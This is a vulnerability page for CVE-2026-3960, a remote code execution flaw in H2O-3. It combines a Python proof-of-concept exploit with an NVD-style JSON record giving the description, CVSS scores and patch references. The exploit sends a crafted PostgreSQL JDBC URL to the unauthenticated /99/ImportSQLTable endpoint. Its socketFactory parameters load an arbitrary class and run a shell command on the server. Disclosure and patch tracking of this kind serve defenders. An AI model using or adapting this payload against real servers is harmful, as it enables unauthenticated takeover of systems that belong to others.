CVE-2026-3960

import requests # Exploit Title: CVE-2026-3960 H2O-3 RCE via PostgreSQL JDBC # Description: Sends a malicious request to /99/ImportSQLTable using socketFactory bypass target = "http://vulnerable-target:54321" endpoint = "/99/ImportSQLTable" url = target + endpoint # Bypassing MySQL blacklist by switching to PostgreSQL protocol # Using socketFactory to load arbitrary class payload = { "connection_url": "jdbc:postgresql://localhost/test?socketFactory=com.exampleMalicious.ExecFactory&socketFactoryArg=touch%20/tmp/pwned", "table_name": "pwn", "username": "root", "password": "pass" } r = requests.post(url, json=payload) print(f"Status: {r.status_code}") print(r.text)

{"cve": {"id": "CVE-2026-3960", "sourceIdentifier": "[email protected]", "published": "2026-04-23T10:16:17.813", "lastModified": "2026-05-19T21:52:42.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A critical remote code execution vulnerability exists in the unauthenticated REST API endpoint /99/ImportSQLTable in H2O-3 version 3.46.0.9 and prior. The vulnerability arises due to insufficient security controls in the parameter blacklist mechanism, which only targets MySQL JDBC driver-specific dangerous parameters. An attacker can bypass these controls by switching the JDBC URL protocol to jdbc:postgresql: and exploiting PostgreSQL JDBC driver-specific parameters such as socketFactory and socketFactoryArg. This allows unauthenticated attackers to execute arbitrary code on the H2O-3 server with the privileges of the H2O-3 process. The issue is resolved in version 3.46.0.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:h2o:h2o:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.46.0.10", "matchCriteriaId": "53A9A943-C0AC-4312-BF4D-033D14678ED4"}]}]}], "references": [{"url": "https://github.com/h2oai/h2o-3/commit/b9ae2d3c5220db2dc53753357a783e590364d044", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://huntr.com/bounties/6954fe04-b905-453f-8c53-205ac8377e0d", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}